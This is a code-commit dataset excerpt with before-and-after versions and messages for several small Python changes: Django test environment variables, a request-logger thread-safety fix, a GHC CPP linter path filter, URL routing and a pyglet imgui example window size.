'django.contrib.auth.views.login', {'template_name': 'accounts/login.html'}, name='account_login'), url (r'^accounts/logout/$', 'django.contrib.auth.views.logout_then_login', name='account_logout'), ) if settings.DEBUG: urlpatterns += patterns( 'django.views.static', url(r'^qr/(?P<path>.*\.png)$', 'serve', {'document_root': settings.QR_DIR}), url(r'^static/(?P<path>.*)$', 'serve', {'document_root': settings.STATIC_ROOT}), url(r'^media/(?P<path>.*)$', 'serve', {'document_root': settings.MEDIA_ROOT}), )
272ece1774cebaf8d6d6ae9e0dfb5fe0cce97083
manage.py
manage.py
#!/usr/bin/env python import os import sys if __name__ == '__main__': os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'conductor.settings.development') if 'test' in sys.argv: # For now, fake setting the environment for testing. os.environ['DJANGO_SETTINGS_MODULE'] = 'conductor.settings.test' os.environ['SECRET_KEY'] = 'asecrettoeverybody' from django.core.management import execute_from_command_line execute_from_command_line(sys.argv)
#!/usr/bin/env python import os import sys if __name__ == '__main__': os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'conductor.settings.development') if 'test' in sys.argv: # For now, fake setting the environment for testing. os.environ['DJANGO_SETTINGS_MODULE'] = 'conductor.settings.test' os.environ['CORS_ORIGIN_WHITELIST'] = 'localhost:4200' os.environ['SECRET_KEY'] = 'asecrettoeverybody' os.environ['STATIC_URL'] = '/static/' from django.core.management import execute_from_command_line execute_from_command_line(sys.argv)
Add missing env variables for testing.
Add missing env variables for testing.
Python
bsd-2-clause
mblayman/lcp,mblayman/lcp,mblayman/lcp
#!/usr/bin/env python import os import sys if __name__ == '__main__': os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'conductor.settings.development') if 'test' in sys.argv: # For now, fake setting the environment for testing. os.environ['DJANGO_SETTINGS_MODULE'] = 'conductor.settings.test' os.environ['SECRET_KEY'] = 'asecrettoeverybody' from django.core.management import execute_from_command_line execute_from_command_line(sys.argv) Add missing env variables for testing.
#!/usr/bin/env python import os import sys if __name__ == '__main__': os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'conductor.settings.development') if 'test' in sys.argv: # For now, fake setting the environment for testing. os.environ['DJANGO_SETTINGS_MODULE'] = 'conductor.settings.test' os.environ['CORS_ORIGIN_WHITELIST'] = 'localhost:4200' os.environ['SECRET_KEY'] = 'asecrettoeverybody' os.environ['STATIC_URL'] = '/static/' from django.core.management import execute_from_command_line execute_from_command_line(sys.argv)
<commit_before>#!/usr/bin/env python import os import sys if __name__ == '__main__': os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'conductor.settings.development') if 'test' in sys.argv: # For now, fake setting the environment for testing. os.environ['DJANGO_SETTINGS_MODULE'] = 'conductor.settings.test' os.environ['SECRET_KEY'] = 'asecrettoeverybody' from django.core.management import execute_from_command_line execute_from_command_line(sys.argv) <commit_msg>Add missing env variables for testing.<commit_after>
#!/usr/bin/env python import os import sys if __name__ == '__main__': os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'conductor.settings.development') if 'test' in sys.argv: # For now, fake setting the environment for testing. os.environ['DJANGO_SETTINGS_MODULE'] = 'conductor.settings.test' os.environ['CORS_ORIGIN_WHITELIST'] = 'localhost:4200' os.environ['SECRET_KEY'] = 'asecrettoeverybody' os.environ['STATIC_URL'] = '/static/' from django.core.management import execute_from_command_line execute_from_command_line(sys.argv)
#!/usr/bin/env python import os import sys if __name__ == '__main__': os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'conductor.settings.development') if 'test' in sys.argv: # For now, fake setting the environment for testing. os.environ['DJANGO_SETTINGS_MODULE'] = 'conductor.settings.test' os.environ['SECRET_KEY'] = 'asecrettoeverybody' from django.core.management import execute_from_command_line execute_from_command_line(sys.argv) Add missing env variables for testing.#!/usr/bin/env python import os import sys if __name__ == '__main__': os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'conductor.settings.development') if 'test' in sys.argv: # For now, fake setting the environment for testing. os.environ['DJANGO_SETTINGS_MODULE'] = 'conductor.settings.test' os.environ['CORS_ORIGIN_WHITELIST'] = 'localhost:4200' os.environ['SECRET_KEY'] = 'asecrettoeverybody' os.environ['STATIC_URL'] = '/static/' from django.core.management import execute_from_command_line execute_from_command_line(sys.argv)
<commit_before>#!/usr/bin/env python import os import sys if __name__ == '__main__': os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'conductor.settings.development') if 'test' in sys.argv: # For now, fake setting the environment for testing. os.environ['DJANGO_SETTINGS_MODULE'] = 'conductor.settings.test' os.environ['SECRET_KEY'] = 'asecrettoeverybody' from django.core.management import execute_from_command_line execute_from_command_line(sys.argv) <commit_msg>Add missing env variables for testing.<commit_after>#!/usr/bin/env python import os import sys if __name__ == '__main__': os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'conductor.settings.development') if 'test' in sys.argv: # For now, fake setting the environment for testing. os.environ['DJANGO_SETTINGS_MODULE'] = 'conductor.settings.test' os.environ['CORS_ORIGIN_WHITELIST'] = 'localhost:4200' os.environ['SECRET_KEY'] = 'asecrettoeverybody' os.environ['STATIC_URL'] = '/static/' from django.core.management import execute_from_command_line execute_from_command_line(sys.argv)
ae629597067817457db9e86121dde7f6ee3a2b7d
stagecraft/libs/request_logger/middleware.py
stagecraft/libs/request_logger/middleware.py
# encoding: utf-8 from __future__ import unicode_literals import logging import time logger = logging.getLogger(__name__) class RequestLoggerMiddleware(object): def process_request(self, request): self.request_time = time.time() logger.info("{method} {path}".format( method=request.method, path=request.get_full_path()), extra={ 'request_method': request.method, 'http_host': request.META.get('HTTP_HOST'), 'http_path': request.get_full_path(), 'request_id': request.META.get('HTTP_REQUEST_ID') }) def process_response(self, request, response): elapsed_time = time.time() - self.request_time logger.info("{method} {path} : {status} {secs:.6f}s".format( method=request.method, path=request.get_full_path(), status=response.status_code, secs=elapsed_time), extra={ 'request_method': request.method, 'http_host': request.META.get('HTTP_HOST'), 'http_path': request.get_full_path(), 'status': response.status_code, 'request_time': elapsed_time, }) return response
# encoding: utf-8 from __future__ import unicode_literals import logging import time logger = logging.getLogger(__name__) class RequestLoggerMiddleware(object): def process_request(self, request): request.start_request_time = time.time() logger.info("{method} {path}".format( method=request.method, path=request.get_full_path()), extra={ 'request_method': request.method, 'http_host': request.META.get('HTTP_HOST'), 'http_path': request.get_full_path(), 'request_id': request.META.get('HTTP_REQUEST_ID') }) def process_response(self, request, response): if hasattr(request, 'start_request_time'): elapsed_time = time.time() - request.start_request_time logger.info("{method} {path} : {status} {secs:.6f}s".format( method=request.method, path=request.get_full_path(), status=response.status_code, secs=elapsed_time), extra={ 'request_method': request.method, 'http_host': request.META.get('HTTP_HOST'), 'http_path': request.get_full_path(), 'status': response.status_code, 'request_time': elapsed_time, }) return response
Fix thread-safety issue in stagecraft
Fix thread-safety issue in stagecraft Django middleware is not thread-safe. We should store this context on the request object instance. Django always calls `process_response`, but it is possible that `process_request` has been skipped. So we have a guard checking that it’s safe to log the response time. See https://docs.djangoproject.com/en/1.7/topics/http/middleware/#process_request
Python
mit
alphagov/stagecraft,alphagov/stagecraft,alphagov/stagecraft,alphagov/stagecraft
# encoding: utf-8 from __future__ import unicode_literals import logging import time logger = logging.getLogger(__name__) class RequestLoggerMiddleware(object): def process_request(self, request): self.request_time = time.time() logger.info("{method} {path}".format( method=request.method, path=request.get_full_path()), extra={ 'request_method': request.method, 'http_host': request.META.get('HTTP_HOST'), 'http_path': request.get_full_path(), 'request_id': request.META.get('HTTP_REQUEST_ID') }) def process_response(self, request, response): elapsed_time = time.time() - self.request_time logger.info("{method} {path} : {status} {secs:.6f}s".format( method=request.method, path=request.get_full_path(), status=response.status_code, secs=elapsed_time), extra={ 'request_method': request.method, 'http_host': request.META.get('HTTP_HOST'), 'http_path': request.get_full_path(), 'status': response.status_code, 'request_time': elapsed_time, }) return response Fix thread-safety issue in stagecraft Django middleware is not thread-safe. We should store this context on the request object instance. Django always calls `process_response`, but it is possible that `process_request` has been skipped. So we have a guard checking that it’s safe to log the response time. See https://docs.djangoproject.com/en/1.7/topics/http/middleware/#process_request
# encoding: utf-8 from __future__ import unicode_literals import logging import time logger = logging.getLogger(__name__) class RequestLoggerMiddleware(object): def process_request(self, request): request.start_request_time = time.time() logger.info("{method} {path}".format( method=request.method, path=request.get_full_path()), extra={ 'request_method': request.method, 'http_host': request.META.get('HTTP_HOST'), 'http_path': request.get_full_path(), 'request_id': request.META.get('HTTP_REQUEST_ID') }) def process_response(self, request, response): if hasattr(request, 'start_request_time'): elapsed_time = time.time() - request.start_request_time logger.info("{method} {path} : {status} {secs:.6f}s".format( method=request.method, path=request.get_full_path(), status=response.status_code, secs=elapsed_time), extra={ 'request_method': request.method, 'http_host': request.META.get('HTTP_HOST'), 'http_path': request.get_full_path(), 'status': response.status_code, 'request_time': elapsed_time, }) return response
<commit_before># encoding: utf-8 from __future__ import unicode_literals import logging import time logger = logging.getLogger(__name__) class RequestLoggerMiddleware(object): def process_request(self, request): self.request_time = time.time() logger.info("{method} {path}".format( method=request.method, path=request.get_full_path()), extra={ 'request_method': request.method, 'http_host': request.META.get('HTTP_HOST'), 'http_path': request.get_full_path(), 'request_id': request.META.get('HTTP_REQUEST_ID') }) def process_response(self, request, response): elapsed_time = time.time() - self.request_time logger.info("{method} {path} : {status} {secs:.6f}s".format( method=request.method, path=request.get_full_path(), status=response.status_code, secs=elapsed_time), extra={ 'request_method': request.method, 'http_host': request.META.get('HTTP_HOST'), 'http_path': request.get_full_path(), 'status': response.status_code, 'request_time': elapsed_time, }) return response <commit_msg>Fix thread-safety issue in stagecraft Django middleware is not thread-safe. We should store this context on the request object instance. Django always calls `process_response`, but it is possible that `process_request` has been skipped. So we have a guard checking that it’s safe to log the response time. See https://docs.djangoproject.com/en/1.7/topics/http/middleware/#process_request<commit_after>
# encoding: utf-8 from __future__ import unicode_literals import logging import time logger = logging.getLogger(__name__) class RequestLoggerMiddleware(object): def process_request(self, request): request.start_request_time = time.time() logger.info("{method} {path}".format( method=request.method, path=request.get_full_path()), extra={ 'request_method': request.method, 'http_host': request.META.get('HTTP_HOST'), 'http_path': request.get_full_path(), 'request_id': request.META.get('HTTP_REQUEST_ID') }) def process_response(self, request, response): if hasattr(request, 'start_request_time'): elapsed_time = time.time() - request.start_request_time logger.info("{method} {path} : {status} {secs:.6f}s".format( method=request.method, path=request.get_full_path(), status=response.status_code, secs=elapsed_time), extra={ 'request_method': request.method, 'http_host': request.META.get('HTTP_HOST'), 'http_path': request.get_full_path(), 'status': response.status_code, 'request_time': elapsed_time, }) return response
# encoding: utf-8 from __future__ import unicode_literals import logging import time logger = logging.getLogger(__name__) class RequestLoggerMiddleware(object): def process_request(self, request): self.request_time = time.time() logger.info("{method} {path}".format( method=request.method, path=request.get_full_path()), extra={ 'request_method': request.method, 'http_host': request.META.get('HTTP_HOST'), 'http_path': request.get_full_path(), 'request_id': request.META.get('HTTP_REQUEST_ID') }) def process_response(self, request, response): elapsed_time = time.time() - self.request_time logger.info("{method} {path} : {status} {secs:.6f}s".format( method=request.method, path=request.get_full_path(), status=response.status_code, secs=elapsed_time), extra={ 'request_method': request.method, 'http_host': request.META.get('HTTP_HOST'), 'http_path': request.get_full_path(), 'status': response.status_code, 'request_time': elapsed_time, }) return response Fix thread-safety issue in stagecraft Django middleware is not thread-safe. We should store this context on the request object instance. Django always calls `process_response`, but it is possible that `process_request` has been skipped. So we have a guard checking that it’s safe to log the response time. See https://docs.djangoproject.com/en/1.7/topics/http/middleware/#process_request# encoding: utf-8 from __future__ import unicode_literals import logging import time logger = logging.getLogger(__name__) class RequestLoggerMiddleware(object): def process_request(self, request): request.start_request_time = time.time() logger.info("{method} {path}".format( method=request.method, path=request.get_full_path()), extra={ 'request_method': request.method, 'http_host': request.META.get('HTTP_HOST'), 'http_path': request.get_full_path(), 'request_id': request.META.get('HTTP_REQUEST_ID') }) def process_response(self, request, response): if hasattr(request, 'start_request_time'): elapsed_time = time.time() - request.start_request_time logger.info("{method} {path} : {status} {secs:.6f}s".format( method=request.method, path=request.get_full_path(), status=response.status_code, secs=elapsed_time), extra={ 'request_method': request.method, 'http_host': request.META.get('HTTP_HOST'), 'http_path': request.get_full_path(), 'status': response.status_code, 'request_time': elapsed_time, }) return response
<commit_before># encoding: utf-8 from __future__ import unicode_literals import logging import time logger = logging.getLogger(__name__) class RequestLoggerMiddleware(object): def process_request(self, request): self.request_time = time.time() logger.info("{method} {path}".format( method=request.method, path=request.get_full_path()), extra={ 'request_method': request.method, 'http_host': request.META.get('HTTP_HOST'), 'http_path': request.get_full_path(), 'request_id': request.META.get('HTTP_REQUEST_ID') }) def process_response(self, request, response): elapsed_time = time.time() - self.request_time logger.info("{method} {path} : {status} {secs:.6f}s".format( method=request.method, path=request.get_full_path(), status=response.status_code, secs=elapsed_time), extra={ 'request_method': request.method, 'http_host': request.META.get('HTTP_HOST'), 'http_path': request.get_full_path(), 'status': response.status_code, 'request_time': elapsed_time, }) return response <commit_msg>Fix thread-safety issue in stagecraft Django middleware is not thread-safe. We should store this context on the request object instance. Django always calls `process_response`, but it is possible that `process_request` has been skipped. So we have a guard checking that it’s safe to log the response time. See https://docs.djangoproject.com/en/1.7/topics/http/middleware/#process_request<commit_after># encoding: utf-8 from __future__ import unicode_literals import logging import time logger = logging.getLogger(__name__) class RequestLoggerMiddleware(object): def process_request(self, request): request.start_request_time = time.time() logger.info("{method} {path}".format( method=request.method, path=request.get_full_path()), extra={ 'request_method': request.method, 'http_host': request.META.get('HTTP_HOST'), 'http_path': request.get_full_path(), 'request_id': request.META.get('HTTP_REQUEST_ID') }) def process_response(self, request, response): if hasattr(request, 'start_request_time'): elapsed_time = time.time() - request.start_request_time logger.info("{method} {path} : {status} {secs:.6f}s".format( method=request.method, path=request.get_full_path(), status=response.status_code, secs=elapsed_time), extra={ 'request_method': request.method, 'http_host': request.META.get('HTTP_HOST'), 'http_path': request.get_full_path(), 'status': response.status_code, 'request_time': elapsed_time, }) return response
bd9fc1b2adea718be089b8370d2e82ea55af6539
.gitlab/linters/check-cpp.py
.gitlab/linters/check-cpp.py
#!/usr/bin/env python3 # A linter to warn for ASSERT macros which are separated from their argument # list by a space, which Clang's CPP barfs on from linter import run_linters, RegexpLinter linters = [ RegexpLinter(r'WARN\s+\(', message='CPP macros should not have a space between the macro name and their argument list'), RegexpLinter(r'ASSERT\s+\(', message='CPP macros should not have a space between the macro name and their argument list'), RegexpLinter(r'ASSERT2\s+\(', message='CPP macros should not have a space between the macro name and their argument list'), RegexpLinter(r'#ifdef\s+', message='`#if defined(x)` is preferred to `#ifdef x`'), RegexpLinter(r'#if\s+defined\s+', message='`#if defined(x)` is preferred to `#if defined x`'), RegexpLinter(r'#ifndef\s+', message='`#if !defined(x)` is preferred to `#ifndef x`'), ] if __name__ == '__main__': run_linters(linters)
#!/usr/bin/env python3 # A linter to warn for ASSERT macros which are separated from their argument # list by a space, which Clang's CPP barfs on from pathlib import Path from linter import run_linters, RegexpLinter linters = [ RegexpLinter(r'WARN\s+\(', message='CPP macros should not have a space between the macro name and their argument list'), RegexpLinter(r'ASSERT\s+\(', message='CPP macros should not have a space between the macro name and their argument list'), RegexpLinter(r'ASSERT2\s+\(', message='CPP macros should not have a space between the macro name and their argument list'), RegexpLinter(r'#ifdef\s+', message='`#if defined(x)` is preferred to `#ifdef x`'), RegexpLinter(r'#if\s+defined\s+', message='`#if defined(x)` is preferred to `#if defined x`'), RegexpLinter(r'#ifndef\s+', message='`#if !defined(x)` is preferred to `#ifndef x`'), ] for l in linters: # Need do document rules! l.add_path_filter(lambda path: path != Path('docs', 'coding-style.html')) # Don't lint vendored code l.add_path_filter(lambda path: not path.name == 'config.guess') if __name__ == '__main__': run_linters(linters)
Make CPP linter skip certain files
Make CPP linter skip certain files - docs which document the lint and need to contain the unutterable - vendored code which is outside our purview
Python
bsd-3-clause
sdiehl/ghc,sdiehl/ghc,sdiehl/ghc,sdiehl/ghc,sdiehl/ghc,sdiehl/ghc,sdiehl/ghc
#!/usr/bin/env python3 # A linter to warn for ASSERT macros which are separated from their argument # list by a space, which Clang's CPP barfs on from linter import run_linters, RegexpLinter linters = [ RegexpLinter(r'WARN\s+\(', message='CPP macros should not have a space between the macro name and their argument list'), RegexpLinter(r'ASSERT\s+\(', message='CPP macros should not have a space between the macro name and their argument list'), RegexpLinter(r'ASSERT2\s+\(', message='CPP macros should not have a space between the macro name and their argument list'), RegexpLinter(r'#ifdef\s+', message='`#if defined(x)` is preferred to `#ifdef x`'), RegexpLinter(r'#if\s+defined\s+', message='`#if defined(x)` is preferred to `#if defined x`'), RegexpLinter(r'#ifndef\s+', message='`#if !defined(x)` is preferred to `#ifndef x`'), ] if __name__ == '__main__': run_linters(linters) Make CPP linter skip certain files - docs which document the lint and need to contain the unutterable - vendored code which is outside our purview
#!/usr/bin/env python3 # A linter to warn for ASSERT macros which are separated from their argument # list by a space, which Clang's CPP barfs on from pathlib import Path from linter import run_linters, RegexpLinter linters = [ RegexpLinter(r'WARN\s+\(', message='CPP macros should not have a space between the macro name and their argument list'), RegexpLinter(r'ASSERT\s+\(', message='CPP macros should not have a space between the macro name and their argument list'), RegexpLinter(r'ASSERT2\s+\(', message='CPP macros should not have a space between the macro name and their argument list'), RegexpLinter(r'#ifdef\s+', message='`#if defined(x)` is preferred to `#ifdef x`'), RegexpLinter(r'#if\s+defined\s+', message='`#if defined(x)` is preferred to `#if defined x`'), RegexpLinter(r'#ifndef\s+', message='`#if !defined(x)` is preferred to `#ifndef x`'), ] for l in linters: # Need do document rules! l.add_path_filter(lambda path: path != Path('docs', 'coding-style.html')) # Don't lint vendored code l.add_path_filter(lambda path: not path.name == 'config.guess') if __name__ == '__main__': run_linters(linters)
<commit_before>#!/usr/bin/env python3 # A linter to warn for ASSERT macros which are separated from their argument # list by a space, which Clang's CPP barfs on from linter import run_linters, RegexpLinter linters = [ RegexpLinter(r'WARN\s+\(', message='CPP macros should not have a space between the macro name and their argument list'), RegexpLinter(r'ASSERT\s+\(', message='CPP macros should not have a space between the macro name and their argument list'), RegexpLinter(r'ASSERT2\s+\(', message='CPP macros should not have a space between the macro name and their argument list'), RegexpLinter(r'#ifdef\s+', message='`#if defined(x)` is preferred to `#ifdef x`'), RegexpLinter(r'#if\s+defined\s+', message='`#if defined(x)` is preferred to `#if defined x`'), RegexpLinter(r'#ifndef\s+', message='`#if !defined(x)` is preferred to `#ifndef x`'), ] if __name__ == '__main__': run_linters(linters) <commit_msg>Make CPP linter skip certain files - docs which document the lint and need to contain the unutterable - vendored code which is outside our purview<commit_after>
#!/usr/bin/env python3 # A linter to warn for ASSERT macros which are separated from their argument # list by a space, which Clang's CPP barfs on from pathlib import Path from linter import run_linters, RegexpLinter linters = [ RegexpLinter(r'WARN\s+\(', message='CPP macros should not have a space between the macro name and their argument list'), RegexpLinter(r'ASSERT\s+\(', message='CPP macros should not have a space between the macro name and their argument list'), RegexpLinter(r'ASSERT2\s+\(', message='CPP macros should not have a space between the macro name and their argument list'), RegexpLinter(r'#ifdef\s+', message='`#if defined(x)` is preferred to `#ifdef x`'), RegexpLinter(r'#if\s+defined\s+', message='`#if defined(x)` is preferred to `#if defined x`'), RegexpLinter(r'#ifndef\s+', message='`#if !defined(x)` is preferred to `#ifndef x`'), ] for l in linters: # Need do document rules! l.add_path_filter(lambda path: path != Path('docs', 'coding-style.html')) # Don't lint vendored code l.add_path_filter(lambda path: not path.name == 'config.guess') if __name__ == '__main__': run_linters(linters)
#!/usr/bin/env python3 # A linter to warn for ASSERT macros which are separated from their argument # list by a space, which Clang's CPP barfs on from linter import run_linters, RegexpLinter linters = [ RegexpLinter(r'WARN\s+\(', message='CPP macros should not have a space between the macro name and their argument list'), RegexpLinter(r'ASSERT\s+\(', message='CPP macros should not have a space between the macro name and their argument list'), RegexpLinter(r'ASSERT2\s+\(', message='CPP macros should not have a space between the macro name and their argument list'), RegexpLinter(r'#ifdef\s+', message='`#if defined(x)` is preferred to `#ifdef x`'), RegexpLinter(r'#if\s+defined\s+', message='`#if defined(x)` is preferred to `#if defined x`'), RegexpLinter(r'#ifndef\s+', message='`#if !defined(x)` is preferred to `#ifndef x`'), ] if __name__ == '__main__': run_linters(linters) Make CPP linter skip certain files - docs which document the lint and need to contain the unutterable - vendored code which is outside our purview#!/usr/bin/env python3 # A linter to warn for ASSERT macros which are separated from their argument # list by a space, which Clang's CPP barfs on from pathlib import Path from linter import run_linters, RegexpLinter linters = [ RegexpLinter(r'WARN\s+\(', message='CPP macros should not have a space between the macro name and their argument list'), RegexpLinter(r'ASSERT\s+\(', message='CPP macros should not have a space between the macro name and their argument list'), RegexpLinter(r'ASSERT2\s+\(', message='CPP macros should not have a space between the macro name and their argument list'), RegexpLinter(r'#ifdef\s+', message='`#if defined(x)` is preferred to `#ifdef x`'), RegexpLinter(r'#if\s+defined\s+', message='`#if defined(x)` is preferred to `#if defined x`'), RegexpLinter(r'#ifndef\s+', message='`#if !defined(x)` is preferred to `#ifndef x`'), ] for l in linters: # Need do document rules! l.add_path_filter(lambda path: path != Path('docs', 'coding-style.html')) # Don't lint vendored code l.add_path_filter(lambda path: not path.name == 'config.guess') if __name__ == '__main__': run_linters(linters)
<commit_before>#!/usr/bin/env python3 # A linter to warn for ASSERT macros which are separated from their argument # list by a space, which Clang's CPP barfs on from linter import run_linters, RegexpLinter linters = [ RegexpLinter(r'WARN\s+\(', message='CPP macros should not have a space between the macro name and their argument list'), RegexpLinter(r'ASSERT\s+\(', message='CPP macros should not have a space between the macro name and their argument list'), RegexpLinter(r'ASSERT2\s+\(', message='CPP macros should not have a space between the macro name and their argument list'), RegexpLinter(r'#ifdef\s+', message='`#if defined(x)` is preferred to `#ifdef x`'), RegexpLinter(r'#if\s+defined\s+', message='`#if defined(x)` is preferred to `#if defined x`'), RegexpLinter(r'#ifndef\s+', message='`#if !defined(x)` is preferred to `#ifndef x`'), ] if __name__ == '__main__': run_linters(linters) <commit_msg>Make CPP linter skip certain files - docs which document the lint and need to contain the unutterable - vendored code which is outside our purview<commit_after>#!/usr/bin/env python3 # A linter to warn for ASSERT macros which are separated from their argument # list by a space, which Clang's CPP barfs on from pathlib import Path from linter import run_linters, RegexpLinter linters = [ RegexpLinter(r'WARN\s+\(', message='CPP macros should not have a space between the macro name and their argument list'), RegexpLinter(r'ASSERT\s+\(', message='CPP macros should not have a space between the macro name and their argument list'), RegexpLinter(r'ASSERT2\s+\(', message='CPP macros should not have a space between the macro name and their argument list'), RegexpLinter(r'#ifdef\s+', message='`#if defined(x)` is preferred to `#ifdef x`'), RegexpLinter(r'#if\s+defined\s+', message='`#if defined(x)` is preferred to `#if defined x`'), RegexpLinter(r'#ifndef\s+', message='`#if !defined(x)` is preferred to `#ifndef x`'), ] for l in linters: # Need do document rules! l.add_path_filter(lambda path: path != Path('docs', 'coding-style.html')) # Don't lint vendored code l.add_path_filter(lambda path: not path.name == 'config.guess') if __name__ == '__main__': run_linters(linters)
edc3a902a64c364168df6c10ebb825bd9e65a974
basin/urls.py
basin/urls.py
from django.conf.urls import patterns, include, url from django.contrib import admin from basin.routers import api_router admin.autodiscover() urlpatterns = patterns('', url(r'^$', 'basin.views.index'), url(r'^display/', 'basin.views.display'), url(r'^api/', include(api_router.urls)), url(r'^admin/', include(admin.site.urls)), )
from django.conf.urls import patterns, include, url from django.contrib import admin from basin.routers import api_router admin.autodiscover() urlpatterns = patterns('', url(r'^$', 'basin.views.display'), url(r'^backbone/', 'basin.views.index'), url(r'^api/', include(api_router.urls)), url(r'^admin/', include(admin.site.urls)), )
Move static mockup to root
Move static mockup to root
Python
mit
Pringley/basinweb,Pringley/basinweb
from django.conf.urls import patterns, include, url from django.contrib import admin from basin.routers import api_router admin.autodiscover() urlpatterns = patterns('', url(r'^$', 'basin.views.index'), url(r'^display/', 'basin.views.display'), url(r'^api/', include(api_router.urls)), url(r'^admin/', include(admin.site.urls)), ) Move static mockup to root
from django.conf.urls import patterns, include, url from django.contrib import admin from basin.routers import api_router admin.autodiscover() urlpatterns = patterns('', url(r'^$', 'basin.views.display'), url(r'^backbone/', 'basin.views.index'), url(r'^api/', include(api_router.urls)), url(r'^admin/', include(admin.site.urls)), )
<commit_before>from django.conf.urls import patterns, include, url from django.contrib import admin from basin.routers import api_router admin.autodiscover() urlpatterns = patterns('', url(r'^$', 'basin.views.index'), url(r'^display/', 'basin.views.display'), url(r'^api/', include(api_router.urls)), url(r'^admin/', include(admin.site.urls)), ) <commit_msg>Move static mockup to root<commit_after>
from django.conf.urls import patterns, include, url from django.contrib import admin from basin.routers import api_router admin.autodiscover() urlpatterns = patterns('', url(r'^$', 'basin.views.display'), url(r'^backbone/', 'basin.views.index'), url(r'^api/', include(api_router.urls)), url(r'^admin/', include(admin.site.urls)), )
from django.conf.urls import patterns, include, url from django.contrib import admin from basin.routers import api_router admin.autodiscover() urlpatterns = patterns('', url(r'^$', 'basin.views.index'), url(r'^display/', 'basin.views.display'), url(r'^api/', include(api_router.urls)), url(r'^admin/', include(admin.site.urls)), ) Move static mockup to rootfrom django.conf.urls import patterns, include, url from django.contrib import admin from basin.routers import api_router admin.autodiscover() urlpatterns = patterns('', url(r'^$', 'basin.views.display'), url(r'^backbone/', 'basin.views.index'), url(r'^api/', include(api_router.urls)), url(r'^admin/', include(admin.site.urls)), )
<commit_before>from django.conf.urls import patterns, include, url from django.contrib import admin from basin.routers import api_router admin.autodiscover() urlpatterns = patterns('', url(r'^$', 'basin.views.index'), url(r'^display/', 'basin.views.display'), url(r'^api/', include(api_router.urls)), url(r'^admin/', include(admin.site.urls)), ) <commit_msg>Move static mockup to root<commit_after>from django.conf.urls import patterns, include, url from django.contrib import admin from basin.routers import api_router admin.autodiscover() urlpatterns = patterns('', url(r'^$', 'basin.views.display'), url(r'^backbone/', 'basin.views.index'), url(r'^api/', include(api_router.urls)), url(r'^admin/', include(admin.site.urls)), )
31f1685d2e2471cf272f7b249e59ef59829ed47f
doc/examples/pyglet_.py
doc/examples/pyglet_.py
# -*- coding: utf-8 -*- from __future__ import absolute_import import pyglet from pyglet import gl import imgui from imgui.integrations.pyglet import PygletRenderer def main(): window = pyglet.window.Window(width=800, height=600, resizable=True) gl.glClearColor(1, 1, 1, 1) renderer = PygletRenderer(window) def update(dt): imgui.new_frame() if imgui.begin_main_menu_bar(): if imgui.begin_menu("File", True): clicked_quit, selected_quit = imgui.menu_item( "Quit", 'Cmd+Q', False, True ) if clicked_quit: exit(1) imgui.end_menu() imgui.end_main_menu_bar() imgui.show_test_window() imgui.begin("Custom window", True) imgui.text("Bar") imgui.text_colored("Eggs", 0.2, 1., 0.) imgui.end() @window.event def on_draw(): update(1/60.0) window.clear() imgui.render() renderer.render(imgui.get_draw_data()) pyglet.app.run() renderer.shutdown() if __name__ == "__main__": main()
# -*- coding: utf-8 -*- from __future__ import absolute_import import pyglet from pyglet import gl import imgui from imgui.integrations.pyglet import PygletRenderer def main(): window = pyglet.window.Window(width=1280, height=720, resizable=True) gl.glClearColor(1, 1, 1, 1) renderer = PygletRenderer(window) def update(dt): imgui.new_frame() if imgui.begin_main_menu_bar(): if imgui.begin_menu("File", True): clicked_quit, selected_quit = imgui.menu_item( "Quit", 'Cmd+Q', False, True ) if clicked_quit: exit(1) imgui.end_menu() imgui.end_main_menu_bar() imgui.show_test_window() imgui.begin("Custom window", True) imgui.text("Bar") imgui.text_colored("Eggs", 0.2, 1., 0.) imgui.end() @window.event def on_draw(): update(1/60.0) window.clear() imgui.render() renderer.render(imgui.get_draw_data()) pyglet.app.run() renderer.shutdown() if __name__ == "__main__": main()
Make the window in the pyglet example larger.
Make the window in the pyglet example larger.
Python
bsd-3-clause
swistakm/pyimgui,swistakm/pyimgui,swistakm/pyimgui,swistakm/pyimgui
# -*- coding: utf-8 -*- from __future__ import absolute_import import pyglet from pyglet import gl import imgui from imgui.integrations.pyglet import PygletRenderer def main(): window = pyglet.window.Window(width=800, height=600, resizable=True) gl.glClearColor(1, 1, 1, 1) renderer = PygletRenderer(window) def update(dt): imgui.new_frame() if imgui.begin_main_menu_bar(): if imgui.begin_menu("File", True): clicked_quit, selected_quit = imgui.menu_item( "Quit", 'Cmd+Q', False, True ) if clicked_quit: exit(1) imgui.end_menu() imgui.end_main_menu_bar() imgui.show_test_window() imgui.begin("Custom window", True) imgui.text("Bar") imgui.text_colored("Eggs", 0.2, 1., 0.) imgui.end() @window.event def on_draw(): update(1/60.0) window.clear() imgui.render() renderer.render(imgui.get_draw_data()) pyglet.app.run() renderer.shutdown() if __name__ == "__main__": main() Make the window in the pyglet example larger.
# -*- coding: utf-8 -*- from __future__ import absolute_import import pyglet from pyglet import gl import imgui from imgui.integrations.pyglet import PygletRenderer def main(): window = pyglet.window.Window(width=1280, height=720, resizable=True) gl.glClearColor(1, 1, 1, 1) renderer = PygletRenderer(window) def update(dt): imgui.new_frame() if imgui.begin_main_menu_bar(): if imgui.begin_menu("File", True): clicked_quit, selected_quit = imgui.menu_item( "Quit", 'Cmd+Q', False, True ) if clicked_quit: exit(1) imgui.end_menu() imgui.end_main_menu_bar() imgui.show_test_window() imgui.begin("Custom window", True) imgui.text("Bar") imgui.text_colored("Eggs", 0.2, 1., 0.) imgui.end() @window.event def on_draw(): update(1/60.0) window.clear() imgui.render() renderer.render(imgui.get_draw_data()) pyglet.app.run() renderer.shutdown() if __name__ == "__main__": main()
